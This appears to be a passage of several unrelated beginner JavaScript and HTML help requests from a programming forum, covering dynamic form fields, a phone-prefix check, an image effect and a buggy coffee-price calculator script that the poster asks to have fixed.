displayed separately for choosing adults & child) and when u choose child as

'1' another combo box will appear to select for 1 child this is unique for each

rooms. Now i can able to do the first part clearly that is when select room

count the rows are displaying as per the no. But when i select for child the

age combo box is coming same for all the rooms and not as unique (separate)
for each room. Can anyone help me to fix this problem!

Thanks,

I need a script and HTML code for an image effect like this: http://www.saksfifthavenue.com/main/...11947&ev19=1:2 Something very easy, if possible. Thanks.

how to get first 4 digits of mobile number using substing method and then how to check that number in if condition using java script.that is i entered the mobile number 9688786064.i want to check first four digits 9688 .in that same check all the entered number only 9688 started nymber can allow to store data base..how can i develop the program..plz help me
var ph1=document.getElementById('ph');
ph1=ph.substring(0,4)
is it correct or not .if it is correct then tell further steps.if it wrong tell me the correct code

I was hoping someone could help me fix this javascript code. I have been working for hours and it does not work.

<html>

<head>

<title>Moondoe's Coffee House</title>

</head>

<script type="text/javascript">

var drink, ounces;

prompt( "Enter the drink type:espresso, latte, cappuccino, americano" );

prompt( "Enter the ounce size: 8, 12, 16" );

var shots = prompt ( "Enter the number of shots" );

if ( drink == "espresso")

price = 1.40;

if ( drink == "latte") || drink == "cappuccino" )
{
if ( ounce == 8 )

price = 1.95;

else if ( ounce == 12 )

price = 2.35;

else if ( ounce == 16 )

price = 2.75;
}


if ( drink == "americano" )

price = 1.20 + ( ( (ounce/8) -1 ) * .30 );

price = price + ( (shots-1) * .50 );

price = price * 1.055;

price = Math.round ( price*100 ) /100;

alert ( "Your " + ounce + "oz. " + drink + "with " + shots + "\nshots of espresso costs: $ " + price );

alert( "drink = " + drink + "ounce = "ounce + "shots = "shots );

</script>

</html>

hi, i have a html form and i have three text boxes named
Max Accessories:
Accessory SKU:
Accessory CPC ID:

and i want a javascript functionality like, if the user enters in the max accessories text box value as 1, then the below two text boxes should update like automatically like below,



AcceSsory 1 SKU
ACCESSORY 1 CPC ID

SIMILARLY if user enters Max accessories value as 2 in the text box,
then the below two text boxes should update like automatically like below
AcceSsory 1 SKU
ACCESSORY 1 CPC ID
AcceSsory 2 SKU
ACCESSORY 2 CPC ID

onchange of the key, for accessory it should call some function in the same page and dynamically update.

can any one please provide, a solution for this , thanks.